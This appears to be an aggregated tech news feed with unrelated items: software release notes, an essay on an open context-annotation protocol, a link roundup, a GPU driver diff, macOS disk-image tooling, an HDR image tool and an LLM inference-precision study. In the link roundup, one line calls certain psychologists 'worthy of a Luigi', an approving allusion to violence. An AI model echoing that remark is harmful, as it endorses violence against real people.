rosin 🟡 poor widgets library ✅ OK (with extra setup) ✅ OK
rui 🟡 poor widgets library ❌ No ❌ No
SDL3 not a GUI framework
slint ✅ OK ✅ OK ✅ OK
Tauri ✅ OK (WebView) ✅ OK ✅ OK
Tessera no macOS support
tinyfiledialogs not a GUI framework
Tk 🟡 API friction ❌ No ✅ OK
undoredo not a GUI framework
Vizia ✅ OK ❌ crash ✅ OK
WebRender not a GUI framework
Windows 😭 low-level API
Windows Reactor 🟡 API friction (Windows only) 🟡 text boxes only ✅ OK
WinSafe ✅ OK (Windows only) ✅ OK ✅ OK
WxDragon ✅ OK ✅ OK ✅ OK
Xilem ✅ OK ✅ OK 🟡 CJK fonts unsupported
Yew web only

llm 0.33

Simon Willison
simonwillison.net
2026-08-22 13:01:16
Release: llm 0.33 My highlights from this release: Upgraded to the OpenAI Python library 3.x and switched the HTTP client dependency from httpx to httpx2. #1608, #1631 I shipped a quick 0.32.1 fix for this yesterday, but this is the more comprehensive fix. llm embed and llm embed-multi...
Original Article

My highlights from this release:

  • Upgraded to the OpenAI Python library 3.x and switched the HTTP client dependency from httpx to httpx2 . #1608 , #1631

I shipped a quick 0.32.1 fix for this yesterday, but this is the more comprehensive fix.

  • llm embed and llm embed-multi now accept --key . The Python EmbeddingModel.embed() , EmbeddingModel.embed_multi() , Collection.embed() and Collection.embed_multi() methods accept key= too, passing the resolved per-call key to embedding plugins without changing shared model state. Existing plugins that read self.key continue to work through a compatibility fallback. Thanks, ChrisJr404 . #757 , #1620

The embedding models now use the same pattern for keys that regular LLM models do.

  • llm prompt -t/--template can now be repeated to combine templates in order. This allows model configuration and options from one template to be used with a prompt from another.

This unlocks a neat pattern where you can create templates that package a model with a set of default options:

llm -m gpt-5.6-luna -o reasoning_effort high --save lhigh
llm "Generate an SVG of a pelican riding a bicycle" --save pelican
# Combine and run the templates
llm -t lhigh -t pelican

This is particularly useful for exercising different models that provide their own imitation of the OpenAI Responses API.

Mark Carney on the U.S. Under Trump: ‘Sometimes, Its Signature Is Written in Pencil’

Daring Fireball
www.nytimes.com
2026-08-22 12:47:10
Ian Austen, reporting for The New York Times (gift link): The morning after he pulled negotiators from trade talks in Washington and set off a new round of American tariffs, Prime Minister Mark Carney on Saturday explained to Canadians why he walked away, calling the U.S. proposal “a bad deal.” ...
Original Article

Please enable JS and disable any ad blocker

The Web Needs a Context Layer Built on a Shared Protocol

Internet Exchange
internet.exchangepoint.tech
2026-08-20 12:46:51
Making context a shared protocol, rather than a platform feature, would let readers see competing perspectives anywhere on the web, argue Mallory Knodel, Evan Friedman, and Brad Friedman....
Original Article
author: Mallory Knodel

Making context a shared protocol, rather than a platform feature, would let readers see competing perspectives anywhere on the web, argue Mallory Knodel, Evan Friedman, and Brad Friedman.

The Web Needs a Context Layer Built on a Shared Protocol
Photo by Robert Anasch / Unsplash

By Mallory Knodel , Brad Friedman and Evan Friedman . Originally published in Tech Policy Press .

Two people can read the same headline and come away with opposite stories. One may see a public health measure, the other government overreach. Researchers have long known that communities don't just disagree on issues; they frame them in entirely different terms. The problem is not disagreement itself. A diverse society will always contain reasonable, competing interpretations of the same event. The issue is that the web typically gives users a single spotlight on a topic without making the surrounding perspectives easy to find. A claim can be accurate but still partial. What is missing is a way to see those competing frames side by side, mapping how the same conversation takes shape across the internet. This would give readers a broader view.

When a misleading post on X or Facebook appears with a note beneath it written by other platform users, that note is context: information, sources, and competing perspectives added alongside the content so readers can judge it more fully. Right now, that context layer is proprietary, created and owned by the platforms on which it appears. But context doesn't have to be built this way. Treating it as a protocol, a shared open standard any platform can adopt rather than a feature owned by one company, is an opportunity to build prosocial features into the infrastructure of the web.

In their paper " From local hacks to global standards: The hidden politics of internet protocols ," Matthew Zook and Ate Poorthuis use three examples to illustrate that historically, infrastructure has started with a smaller use case and then scaled. The danger is that early informal decisions become global rules without enough consideration for human rights and other impacts.

One example they give is the country code top-level domain system, the familiar national suffixes like .FR for France or .UK for Britain, which were built according to ISO 3166, an existing list of two-letter country codes maintained by the International Organization for Standardization. But, from the 1980s until today, the ISO list itself has not been a neutral inventory of the world's nations. It is a list that elides the fraught question of what counts as a country. As a result, particular political histories and institutional relationships were adopted into the domain name system along with those embedded judgments. Territories with contested sovereignty, colonial dependencies, or without recognized statehood were included or excluded, baking political decisions about place into the architecture of the internet.

Context is a new, developing layer of the internet. The most promising tools for adding context to online content are community notes, used by both X and Meta, and which show real promise in reducing online harms like misinformation and disinformation. But these context layers are proprietary, owned and managed by these two platforms and, like the ISO list, they come with biases—in this case, those of these platforms’ unique user bases and their commercial interests. If we want context to scale and be scrutable, we need to facilitate context with protocols: that is the ‘how’ of building a context layer. An open, opt-in standard that any publisher, browser, or platform can adopt, rather than a feature each company builds and owns, can democratize context and appropriately place it within the realm of the political: that is the what.

Building such a protocol deliberately, in the open, lets us embed choice, user agency, and prosocial values into the context layer of the internet, a Broader View button ( demo here ) built into the web itself, rather than allowing closure to settle around whatever already exists before anyone has deliberately chosen, as happened with the domain name system.

Removals, labels and annotation

Most efforts to improve what people encounter online currently fall into three general categories: removal (take it down), labeling (flag it), and crowdsourced annotation (let users add context). The first two require a platform or trusted third party fact-checkers to decide what is true, which much of the public no longer trusts it to do .

Crowdsourced annotation like community notes was developed in part to address the issues of the first two categories, and the evidence suggests that it succeeds, at least in limiting the spread of misinformation and disinformation. The system's own designers found that algorithm-selected notes made users about 26 percent less likely to agree with a misleading claim , and that exposure to notes reduced likes and retweets by 25 to 34 percent in live deployment. A causal study , covering roughly 285,000 Community Notes on X (formerly Twitter), found that attaching a note cut subsequent retweets by about half and raised the chance the author deleted the post by around 80 percent. Issues appear, however, when trying to scale these efforts. The average note takes more than fifteen hours to appear, by which point roughly 80 percent of a post's reach has already happened, so the net effect on overall virality falls to between 16 and 21 percent.

Plus, many posts that perhaps should have notes never do. A note requires volunteers to notice the post, write a note, and reach cross-partisan agreement before it is published. This is a high barrier that only about 11 percent of proposed notes ever meet. Fewer than 10 percent of published notes reach "helpful" status , and 26 percent of those that do are later removed due to disagreement.

In addition, a great deal of online content is not false. It is accurate as far as it goes, but may show only one side of a contested issue. No current moderation system systematically surfaces the competing frames around a post that is true-but-partial, and a small, hyperactive minority of users produce most of what everyone sees , and that content skews more politically extreme than what the typical user posts, so the less partisan majority is rendered nearly invisible. On genuinely contested questions, the “true or false” binary is even less useful: the truth often isn’t settled for years, long after the moderation decision has been made and the post has done its work.

Rather than seeing this as an indictment of content moderation or Community Notes, which is the clearest proof we have that a context layer can work, we see it as evidence that the bottleneck is architectural: a layer run by volunteers inside one platform's user base will always face an upper ceiling that we believe only a shared standard can alleviate.

Why now? AI, obviously

A context layer that depends on volunteers noticing a post, writing a note, and reaching cross-partisan agreement will always be slower and more limited than the content it is intended to contextualize. What has changed is that large language models can now do part of this work by reducing the demand on the volunteer labor that made it scarce, and drawing from a wider range of relevant material.

A recent system, Supernotes , uses a language model to synthesize these fragments into a single candidate note, then scores that candidate by modeling how a politically diverse set of raters would respond to it. In testing, participants preferred the AI-synthesized notes to the best existing human-written ones roughly three times out of four. In this study, the model didn't decide what was true; it drafted and assembled content from existing human notes. Whether the result was helpful still came down to human cross-partisan agreement, and the AI was what let that agreement extend to far more content than volunteers could reach alone. This points to something a shared context layer could do beyond simply showing different perspectives side by side: surface where communities that usually disagree actually share ground, an approach sometimes called bridging. The algorithm behind Community Notes was also built on this principle , scoring a note highly only when people with otherwise opposed rating histories agree it is helpful, rather than relying on a simple majority. Supernotes extends that same bridging logic with AI.

There is a reason AI may be well-suited to this particular job. People often distrust context when it comes from a perceived opponent, and some research suggests they treat AI-generated summaries as comparatively impartial . We should be cautious, because AI carries its own biases that have to be managed openly. But for the narrow task of laying out how different communities frame an issue, that cites sources, AI may have an easier time being heard.

How? The protocol opportunity

A protocol-level approach asks: what if context were shared infrastructure, like a web standard, rather than a feature limited to one provider? A standard that lets any platform, publisher, or browser participate without each needing to build a feature from scratch, and lets context travel across services? And what if users had agency to choose their context provider?

Our model is the closed-captioning (CC) mark. It is instantly recognizable, works across virtually all video regardless of who made it, is owned by no single company, and turns on only when the viewer wants it. Part of the mark’s power is the mark itself: a single recognizable symbol compresses the whole idea into two letters anyone can spot on any screen. A universal mark is what makes an opt-in layer usable by ordinary people, not just legible to technologists.

We propose the same for context: a universal, opt-in icon which we call the “Broader View button,” that a reader clicks only if they want the fuller picture. On a contested political post, that might mean seeing how different communities understand the same event, what they agree on, where they disagree, and the perspectives and sources each community draws on, so a reader can understand the landscape and draw their own conclusions. On a video of a duck leading her ducklings across a highway, the button might open up a wider understanding about migration, habitat loss and how some cities are redesigning roads around wildlife. Context isn't only a corrective for our worst content; it's an invitation to be more curious about all of it.

No content is removed, no fact-checks are pushed into the feed. Because it adds speech rather than restricting it, the approach can hold support across a political spectrum that agrees on little else about online speech.

We propose that the standard should be provider-agnostic. Like choosing a default search engine, different providers could supply the context behind the same button, separating the standard (how context is displayed) from the curation (who, or which AI model, assembles it). Letting readers pick their own provider is a form of user agency, and experienced users judge content more favorably when they have actively chosen it rather than had it chosen for them.

We also propose that trust and safety belongs in the protocol itself, for instance, requiring that quoted text in a context window trace to a verifiable source and that off-topic pile-ons be filtered, so every implementation meets a minimum threshold.

A layer worth building

A key principle behind years of content moderation has been to remove false content and correct the record. But much of what hardens divides online is not false . Instead it is partial or one-sided, and no content moderation verdict can address this problem. What's missing is not a better judge or a jury. It's a layer that lets users who want it see a bigger, fuller picture.

Across established democracies, the spread of social media has tracked with falling trust and rising polarization, yet the research has gone overwhelmingly toward documenting that harm rather than testing ways out of it. One 2021 review of more than ninety studies notes how little work has explored how media might actually depolarize. In other words, we have mapped the problem in great detail, but we have barely begun to identify or fund the solutions.

Community Notes is the clearest proof we have that a context layer can work, and of its limits. They are not a reason to abandon the idea, but a reason to build it properly as shared infrastructure, rather than a feature owned by one company. A Broader View button will not be perfect, but a perfect solution does not exist, and there are costs for waiting.

Where should this work live?

Despite years of thinking from scholars like Francis Fukuyama and Renée DiResta , what are called “middleware” solutions to content moderation haven’t made it into the protocols standardization pipeline. We are still left with platforms, not protocols, implementing solutions, which Mike Masnick pointed out are not ideal.

Taking on a context layer has implications for any technical standards body's mandate already dealing with content, and those bodies are few. The W3C is the most natural home, since it already looks after the web and social standards, however its prior work on annotation would only be a partial help. ISO could also take it on as global trust frameworks like C2PA are increasingly within mandate and expertise. Whoever shepherds the work takes on more than writing the standard itself. They foster a community of trust and safety rules stewards and will likely bring together a huge cross section of web services and platform implementers.

Support the Internet Exchange

If you find our emails useful, consider becoming a paid subscriber! You'll get access to our members-only Signal community where we share ideas, discuss upcoming topics, and exchange links. Paid subscribers can also leave comments on posts and enjoy a warm, fuzzy feeling.

Not ready for a long-term commitment? You can always leave us a tip .

Become A Paid Subscriber


Mid year sale!

If you've been thinking about becoming an IX subscriber and getting access to all of our hot🔥 links, our members-only Signal community, the ability to leave comments and replies on posts, and the warm fuzzy feeling of knowing you're supporting our mission, now is the time. Annual subscriptions are usually $50 but are just $30 until the end of August.


🚨

Stop press! Do you enjoy our links? Links are now available to paid subscribers only. Become a paid subscriber today.

Russell Coker: Links August 2026

PlanetDebian
etbe.coker.com.au
2026-08-22 12:05:00
This YouTube video about the Cashier Girl Meme is interesting in the context of AI systems that generate images of people and can communicate with people, hotter than any real human is an achievable goal [1]. Stand Up Maths has an interesting Youtube video about LLMs solving maths problems which I h...
Original Article

This YouTube video about the Cashier Girl Meme is interesting in the context of AI systems that generate images of people and can communicate with people, hotter than any real human is an achievable goal [1] .

Stand Up Maths has an interesting Youtube video about LLMs solving maths problems which I highly recommend watching (it does not require any real knowledge of maths), I think this opens the door to attacks on well established cryptologic systems [2] .

Adam Conover made an insightful YouTube video about how and why Hollywood is now unable to make good sitcoms and why this is bad for society [3] .

Sky Croeser wrote an interesting and insightful blog post about topics covered at the “Digital and sexual citizenship in an age of social media bans: Interrogating the rights of children and young people conference” [4] .

Zane wrote a very informative blog post about reverse engineering a trojaned Android projector with Claude Code [5] . We need much better security on home networks to break the business model for this sort of thing.

Renee Stonebraker’s article “Puritans Wouldn’t Eat Pussy, So They Invented the Western” has a lot of interesting information about early days of colonising the US, and not much about eating pussy [6] .

IFLScience has an interesting article about brinicles, icicles of brine that form under sea ice [7] .

Nautilus has an interesting article about the Silurian Hypothesis [8] .

The Conversation has an intersting article about the pros and cons of no-till farming [9] .

Cold War is a 365tomorrows story about bio-warfare which raises several disturbing possibilities we need to guard against [10] .

Scott Santens wrote an insightful article describing how a land value tax would reduce rent and solve the housing shortages [11] .

Positive News has an interesting article about using OnlyFans to teach people about climate change [12] .

The Conversation has an interesting article about cultural safety in healthcare, sounds good, and while we are at it lets deal with sexism [13] .

Doctoreww has an interesting web page about ways of displaying different strings to humans and machines, this could result in you running a different command to what you thought you copied from a web site or defeating tools designed to block hostile content [14] .

Cory Doctorow wrote an insightful article “Commentary Hell is Other People” about the way rich people want to use AI to replace all people [15] . Also psychologists who help rich people accept being greedy are worthy of a Luigi

The research article “Worship me at the office altar: Why narcissistic leaders resist remote work” is interesting, yet another reason to get rid of narcissistic executives [16] .

Renew Economy has an interesting article about clean up costs for mining (which is usually left for the government to pay) and how this could impact renewable energy production facilities [17] .

Elvira Bary wrote an insightful article on the Russian financial collapse that is happening now [18] .

The Guardian has an interesting article about Afro-American women who travel to South Korea for healthcare because of problems with racism and sexism in American hospitals [19] .

The Conversation has an interesting article about the potential for disabled people to be more productive in space than non-disabled people [20] .

Krebs has an interesting article about LG banning residential proxy code from apps after the LG store was found to have such code in 42% of it’s apps [21] .

Robert B Shpiner wrote an insightful article for The Guardian about the death of democracy in the US [22] .

Related posts:

  1. Links August 2024 Bruce Schneier and Kim Córdova wrote an insightful article about...
  2. Links February 2026 Charles Stross has a good theory of why “AI” is...
  3. Links August 2025 Dimitri John Ledkov wrote an informative blog post about self...
  4. Links July 2026 Bruce Schneier and Nathan E. Sanders wrote a disturbing and...
  5. Links April 2026 Charles Stross wrote an interesting blog post about the apparent...

Linus Torvalds uses AI to debug an Intel GPU driver bug

Lobsters
github.com
2026-08-22 12:04:51
Comments...
Original Article
Original file line number Diff line number Diff line change

@@ -89,12 +89,25 @@ static int get_flat_ccs_offset(struct xe_gt *gt, u64 tile_size, u64 *poffset)

89 89

offset = offset_hi << 32 ; /* HW view bits 39:32 */

90 90

offset |= offset_lo << 6 ; /* HW view bits 31:6 */

91 91

offset *= num_enabled ; /* convert to SW view */

92 -

offset = round_up ( offset , SZ_128K ); /* SW must round up to nearest 128K */

93 92
94 -

/* We don't expect any holes */

95 -

xe_assert_msg ( xe , offset == ( xe_mmio_read64_2x32 ( & gt_to_tile ( gt ) -> mmio , GSMBASE ) -

96 -

ccs_size ),

97 -

"Hole between CCS and GSM.\n" );

93 +

/*

94 +

* Everything below this offset is handed to the VRAM

95 +

* allocator, so it has to be the *first* address the

96 +

* compression hardware owns, rounded down. Rounding it up

97 +

* publishes CCS storage as free memory.

98 +

*/

99 +

offset = round_down ( offset , SZ_4K );

100 +
101 +

/*

102 +

* CCS storage must not run into GSM. The old check compared

103 +

* the offset against GSMBASE - ccs_size for equality, which

104 +

* could not fail: that value is 128K aligned, so it agreed

105 +

* with the rounded-up offset even when the base was not 128K

106 +

* aligned - exactly the case this fixes.

107 +

*/

108 +

xe_assert_msg ( xe , offset + ccs_size <=

109 +

xe_mmio_read64_2x32 ( & gt_to_tile ( gt ) -> mmio , GSMBASE ),

110 +

"CCS overlaps GSM.\n" );

98 111

} else {

99 112

reg = xe_gt_mcr_unicast_read_any ( gt , XEHP_FLAT_CCS_BASE_ADDR );

100 113

offset = ( u64 ) REG_FIELD_GET ( XEHP_FLAT_CCS_PTR , reg ) * SZ_64K ;

More than just code review

Simon Willison
simonwillison.net
2026-08-22 11:56:54
The key skill required to make productive use of coding agents is being able to confidently instruct them on how to make changes and then confidently verify that those changes have been applied in the correct way. Sometimes this involves reviewing every line of code they have written, but there are ...
Original Article

22nd August 2026

The key skill required to make productive use of coding agents is being able to confidently instruct them on how to make changes and then confidently verify that those changes have been applied in the correct way.

Sometimes this involves reviewing every line of code they have written, but there are other ways to achieve that goal. Eyeballing every line of code has never been the most effective way to validate a chance to a piece of software.

Posted 22nd August 2026 at 3:56 pm

This is a note by Simon Willison, posted on 22nd August 2026 .

Monthly briefing

Sponsor me for $10/month and get a curated email digest of the month's most important LLM developments.

Pay me to send you less!

Sponsor & subscribe

hdiutil is deprecated in macOS 27 Golden Gate

Hacker News
lapcatsoftware.com
2026-08-22 15:04:41
Comments...
Original Article
Jeff Johnson ( My apps , PayPal.Me , Mastodon )

August 14 2026

The macOS command-line tool hdiutil is used to manipulate disk images. From the WHAT'S NEW section of man hdiutil on the latest macOS 27 Golden Gate beta:

In macOS 27.0, hdiutil is deprecated. Use diskutil image instead for all disk image operations. diskutil image provides subcommands for attach, create, resize, info, and chpass. ASIF (Apple Sparse Image Format) images are only supported by diskutil image and are not supported by hdiutil.

There’s also a DEPRECATION NOTICE at the top of the man page that lists the diskutil replacements for hdiutil subcommands.

The majority of options from hdiutil appear to be preserved in diskutil , though under different names. However, some hdiutil options are missing, for example -puppetstrings :

provide progress output that is easy for another program to parse. PERCENTAGE outputs can include the value -1 which means hdiutil is performing an operation that will take an indeterminate amount of time to complete. Any program trying to interpret hdiutil 's progress should use -puppetstrings .

Also missing are some options specific to hdiutil create -srcfolder :

-[no]crossdev
-[no]scrub
-[no]anyowners
-skipunreadable
-[no]atomic
-copyuid

I attempted to compare hdiutil and diskutil on Golden Gate by performing a backup of the user home folder, something I do daily on my MacBook Pro with macOS Sequoia. First:

time hdiutil create -encryption -format UDZO -noatomic -noscrub -srcfolder /Users/stupiduser -stdinpass -verbose /Users/Shared/hdiutil.dmg

This took around 110 to 115 seconds on average.

It’s crucial to note that hdiutil triggers an authentication prompt, because one of the files is, annoyingly, owned by the root user. From the Terminal output:

copy-helper[2598:97396] uid 501 does not have ownership of /Users/ stupiduser/ Library/ Group Containers/ group.com.apple.secure-control-center-preferences/ Library/ Preferences/ group.com.apple.secure-control-center-preferences.av.plist - setting needAuth to YES
Scanning…
Error 80 (Authentication error).
/Users/ stupiduser/ Library/ Group Containers/ group.com.apple.secure-control-center-preferences/ Library/ Preferences/ group.com.apple.secure-control-center-preferences.av.plist: Authentication error

The disk image creation continues and finishes successfully after authenticating with admin credentials.

Now the new method:

time diskutil image --stdinpassphrase --verbose create --encrypt from --format UDZO /Users/stupiduser /Users/Shared/diskutil.dmg

This simply fails and, despite the verbose option, doesn’t tell you why.

[100% completed]
Error: Failed to create disk image: The operation couldn’t be completed. Operation not permitted

Luckily, I guessed the reason, the root-owned file. Unlike hdiutil , diskutil does not trigger an authentication prompt. Thus, I had to delete the root-owned file to get diskutil to work.

[100% completed]
/Users/Shared/diskutil.dmg created

Again, not particularly verbose. However, the progress percentage does update in place during the disk image creation, so there is some kind of substitute for the hdiutil -puppetstrings option.

The good news is that diskutil was significantly faster, taking around 40 to 45 seconds on average to finish, more than a minute faster than hdiutil . Also, the resulting dmg file from diskutil was smaller, 2.8 GB, as opposed to 2.89 GB from hdiutil .

I mounted the two disk images and used the FileMerge app (embedded inside the Xcode app) to compare them. Aside from a few files that were naturally modified in the few minutes between the two command-line invocations, the main difference was that the hdiutil disk image included the ~/.Trash/ folder, while the diskutil disk image did not. In other words, diskutil behaved as if the -scrub option of hdiutil were enabled.

-[no]scrub do [not] skip temporary files when imaging a volume. Scrubbing is the default when the source is the root of a mounted volume. Scrubbed items include trashes, temporary directories, swap files, etc.

So it appears that diskutil in Golden Gate needs some work:

  1. Improve verbose logging
  2. Handle file permission problems
  3. Add the -[no]scrub option

To conclude, I don’t understand why hdiutil needs to be deprecated when the same functionality will live on in diskutil . For some reason, Apple seems intent on breaking longtime workflows and scripts. Many years ago I actually worked on an app, Knox, that calls hdiutil directly. If hdiutil were removed from macOS, that would completely break such an app.

By the way, both hdiutil and diskutil on Golden Gate still suffer from the bug I blogged about last year, Inaccessible .bnnsir files on macOS Sequoia . A couple days ago I got a ridiculous update to the bug report I filed with Apple, “hdiutil create copy error with Siri CoreSpeech .bnnsir files” (FB17162985). Despite giving Apple 100% reliable steps to reproduce, they asked me if the issue still occurred in the latest beta, and if it does, then I should submit an iOS sysdiagnose. Yes, Apple requested an iOS sysdiagnose for a macOS bug. And needless to say, the latest Golden Gate beta did not magically fix the bug.

Jeff Johnson ( My apps , PayPal.Me , Mastodon )

Show HN: Make your logo extra bright on HDR screens

Hacker News
www.soverybright.com
2026-08-22 14:43:03
Comments...
Original Article

Upload a logo, choose which colors should glow, download an HDR JPEG. On HDR screens the chosen parts shine up to 7.5× brighter than #FFFFFF . Everywhere else it's a perfectly normal JPEG.

Drop your logo here, or click to choose

PNG, JPEG or WebP · free · nothing is stored

  • ISO 21496-1 gain-map JPEG
  • BT.2100 PQ for LinkedIn
  • base pixels untouched
  • nothing stored
  • free
Two identical #FFFFFF squares. One carries a gain map.

SDR white
as bright as a screen normally goes

The same white with a gain map: up to 7.5× brighter on an HDR display

HDR white · +2.9 stops
up to 7.5× brighter

Checking your display and browser…

Examples

Original artwork, converted with this tool. Drag the handle; on an HDR display in a capable browser the right side glows. “Use this” loads the original into the tool above.

The wordmark

White type on black — the classic case. The whites are selected automatically.

glows: whites

Orbit mark

A white ring plus one brand color. Whites and the blue are both pushed to the same peak.

glows: whites + #2f6bff

Sticker badge

Cream type on dark teal — not white, so it's picked as a color. Light elements on dark backgrounds glow best.

glows: #f5e9c8

How it works

Your JPEG stays a normal JPEG. For the web we add an ISO 21496-1 gain map — a second, tiny grayscale image that tells HDR-aware software how much brighter each pixel may go. For LinkedIn we write the pixels in BT.2100 PQ with the matching ICC profile, which LinkedIn preserves.

What glows best

Light, near-white elements on dark backgrounds. Strong (+2.9 stops, ~1,500 nits) is the measured real-world sweet spot. Dark colors can't really glow — boosting them reads as washed neon.

Honest limits

HDR only shows on HDR displays in software that honors gain maps or PQ profiles (Chrome, Safari 26, Apple Photos, LinkedIn's apps). Most other platforms strip or normalize it — the file still looks perfectly normal there.

Also works on text

Text can be brighter than white , too.

CSS has no way to write a color brighter than #FFFFFF yet — the HDR color spaces in CSS Color HDR are still a draft. But you can paint real text through an HDR image: background-clip: text turns the glyphs into a window onto a gain-map JPEG. The headline at the top of this page is exactly that — select it, it's text.

Brighter than white

SDR text
color: #fff

Brighter than white

HDR text
background-clip: text over the swatch

Checking your display and browser…

  • Where it works: wherever gain-map JPEGs render — Chrome 137+, Safari 26 / iOS 26 — on an HDR display. Elsewhere the swatch's base image shows through, so the text is simply white. Nothing breaks.
  • The swatch is a 64×64 white JPEG carrying a uniform gain map (7.5×, +2.9 stops, ~1,500 nits); the browser scales it under the glyphs. Any boost works: upload a white square to the tool above and pick an intensity.
  • Gate it on the display: inside @media (dynamic-range: high) only HDR screens take the image route; SDR visitors, Firefox and print keep a real color . That also sidesteps the one gotcha — background-clip only paints ink inside the element's box, so an overflowing line would get clipped.
  • Headlines and accents only. A paragraph at 1,500 nits is hostile. Give ::selection a color if yours is not already visible.
  • Why not filter: brightness() ? The page is composited in SDR; no filter or blend mode pushes a CSS color past white. Only HDR content gets the headroom — which is what the swatch is.

Why your local LLM feels dumber than it is

Hacker News
forum.level1techs.com
2026-08-22 14:14:16
Comments...
Original Article

Quick Introduction

We have all been on forums, chats, reddit, discord, youtube, or somewhere and heard “Oh! Model XYZ is AMAZEBALLZ!zomgwtfbbq” then downloaded it (or more likely, some quantized form of it) and said “eww… This sucks!”

This post is going to be a rather technical series of experiments to demonstrate the impact of implementation-specific hazards with inference. I will be using the term “reference implementation” to describe the lab that published and offers first-party hosting of their models and posts original benchmark claims. Their hardware will be different than yours. Their software will be very different than yours. And the comparisons in this post are not going to be running some 2.58-bit-gguf-in-ollama with a couple test prompts.

I am intentionally glossing over entire emerging fields of study, mountains of research papers and lit review to make this more approachable for you the reader. Don’t nit pick my oversimplifications or I will make you read the really long unpleasant version with math .

Your local implementation sucks. But that’s ok, because everyone else’s does too.

Every single instance of hardware and software running an LLM today is a little bit different. or a lot different when it comes to some cases. The average home lab user might be mixing multiple different generations of GPU. The chips on those have different instruction sets. Those instruction sets will implement and execute math to calculate your next token differently from any other person, even when running the same exact weights.

So that begs the first question: How much does your particular setup suck? Turns out there are a number of different ways to go about measuring that.

The practical approach is straight forward. Run standard benchmarks. A variety of them. terminal bench, hle, SWEthis, HELLAthat, MMLU-whatever… take your pick. Just make sure its representative of your actual workload/use case. Do not crank temperature to zero and paste in 3 test prompts then call it good/bad. Zero-shot tests are not a good analog of most agentic tasks. You need long-context tool-calling and domain specific knowledge evaluations to figure out where your setup is weak when running the same weights as somebody else replicating those same benchmarks.

But the purely mathematical answer is where my focus is going to begin because as @wendell said:

Math is Math!

“Logits” are the models scores for each possible next token. They are normalized into probabilities, passed through the configured sampler, and converted back into text by the detokenizer to generate THE→NE→XT→TOK→EN during decode.

A side note about sampler settings: the model card on HF usually specifies exactly what sampler settings (and chat template) you should be using. temp 1.0, top-p 0.95, etc. it varies by model so make sure you are using the right ones. btw, setting temp too low is why your qwen is sitting there looping unable to escape its THINK output. You’re welcome, glad I could fix that for you.

When the next token probability changes enough, THE→NE→XT becomes THE→NE→W→DAY… And while those small changes might be fine, odds are that’s the beginning of the niggling sensation in the back of your mind that something feels off .

Some of you may have heard the term KLD before, or KL Divergence. Don’t worry, I won’t make you do any math or flood your brain with tables of very small decimal numbers. But just in case you wanted the simple version: convert the output logits into a probability distribution, and measure how far that distribution has moved from a chosen baseline. Lower KLD means closer to that baseline, not automatically ‘smarter’. KLD is also directional, so the order of the two distributions matters.

A word of caution: Don’t get suckered in by impossibly low KLD claims on a quant HF model card. It is impossible to interpret a number unless the author discloses the reference checkpoints and full runtime environment, evaluation text, calibration data, context lengths, sampled positions, KL direction, any vocabulary truncation, and how the measurements were aggregated. The methodology matters as much as the number and plenty of people get it wrong.

What the hell is vllm doing?

Now, we need to take a brief field trip down what the giant stack of software is doing on your inference engine to understand where some of those sources of divergence come from.

At every step of this oversimplified diagram are components that can be configured or changed based on your specific hardware/software footprint, model, quant, tensor shape, etc.

The nightly VLLM container image I snagged had 734 (252 uv/pip Python) packages in it. That’s 734 codebases each with their own bugs and undocumented idiosyncrasies. The path your specific implementation takes through that mountain of code will be distinct.

Test 1: Precision Benchmarking Attention Backends

Lets start with one piece of that inference flowchart. During prefill (prompt processing) there are a several attention backends your inference engine will select from. This impacts both speed and precision of prefill, while requiring different cuda kernels for every GPU family / SM compute capability 1.3. The CUDA platform — CUDA Programming Guide . Lets test them and compare.

(I’m really very sorry, I had to…)

I started with the official BF16 checkpoint of Qwen3.6-27B on an RTX PRO 6000 Blackwell GPU at tensor parallelism 1. The KV cache was BF16, with no weight/activation or KV-cache quantization. The software was a pinned nightly vllm build. I used eager execution, disabled CUDA graphs, prefix caching, and MTP, and used 2k-token chunked prefill.

Qwen3.6-27B is dense, not an MoE, but it is still a hybrid model. 64 layers repeat in a pattern of three Gated DeltaNet/linear-attention layers followed by one full-attention layer. Only those 16 full-attention layers use the selectable attention backend in this experiment; the Gated DeltaNet path remained fixed.

The workload replayed here is “Prompt 2”, a roughly 100k token context captured from a real Turnstone lab workstream containing multiple tool calls and real work products. It was selected to resemble what a local agent actually does rather than a synthetic needle-in-a-haystack test. And maybe more importantly, it doesn’t appear in any benchmark or training dataset in the wild today. Nobody could have benchmaxed for this, or calibrated their quant to accommodate it.

There are three available full attention backends to select from in vllm for this workload: FlashAttention 2, Flash Inference, and Triton Attention. This was the only change made between executions , the rest of the hardware and software stack remained stable.

I also performed a same-backend cross-GPU repeatability control. For this graph, I captured the full-vocabulary logits in BF16 every 32 prompt tokens. Distribution comparisons such as KLD were calculated afterward in FP64 from those stored logits.

Top-1 agreement is whether the token with the highest logit, the greedy argmax, was the same. All three backends were evaluated against the same forced token history. A “top-1 flip” therefore means a backend would have chosen a different greedy next token at that position. We did not let that choice alter the remaining history. This keeps the mathematical comparison controlled, but it does not show how far an unconstrained generation would branch or whether a tool call would eventually fail… that comes in test 2 ;D

The following graph shows % of sampled logits resulting in token flips:

For the first several thousand tokens, every run of the model agreed about what the next token was going to be regardless of backend. Then in later portions of the prompt, backends began disagreeing. Triton was selected as the baseline to simplify upcoming quantization chicanery.

Each 8k-token window contains 250 sampled positions, one probe every 32 tokens. The percentage is the fraction of those probes where the other backends highest-scoring token differed from Triton’s.

Random noise was accounted for by running the same test with the same attention backend multiple times. The logits across runs at every hidden state were bit for bit identical. Meaning this particular divergence comes exclusively from the matrix multiplication and addition operations happening during prefill inside trt/fa2/fi.

Disagreements appeared in clusters and varied with prompt content rather than increasing smoothly with context length. This is not evidence of one universal length at which the model “falls apart” but… we will get there soon

Now that we have a baseline comparison of interesting prompt fuel, lets dive into…

Test 2: KV Cache quantization, or why your LLM’s IQ drops like a rock after 40k tokens

Repeating the same methodology, we took the BF16 weights and BF16 kv cache baseline above running Triton, and ran the next experiment. What happens when you leave the weights and activations alone, and JUST quantize the kv-cache?

Ah, divergence. And this leads us to our first dumpster-fire of the evening: a completely reproducible tool calling error.

Enough top-tokens got flipped during tool calls, we let them play out and while BF16 was fine, int8 kv-cache eventually managed to recover, int4 did not !

Test 3: Weight Weight, Don’t Tell Me!

This time we are leaving all the kv-caches full size at bf16. We are adding some new players to the game however by comparing:

  1. BF16 reference: Qwen/Qwen3.6-27B ( Qwen/Qwen3.6-27B · Hugging Face )
  2. Official FP8: Qwen/Qwen3.6-27B-FP8 ( Qwen/Qwen3.6-27B-FP8 · Hugging Face )
  3. INT8 W8A16: TheHouseOfTheDude/Qwen3.6-27B-INT8 ( TheHouseOfTheDude/Qwen3.6-27B-INT8 · Hugging Face )
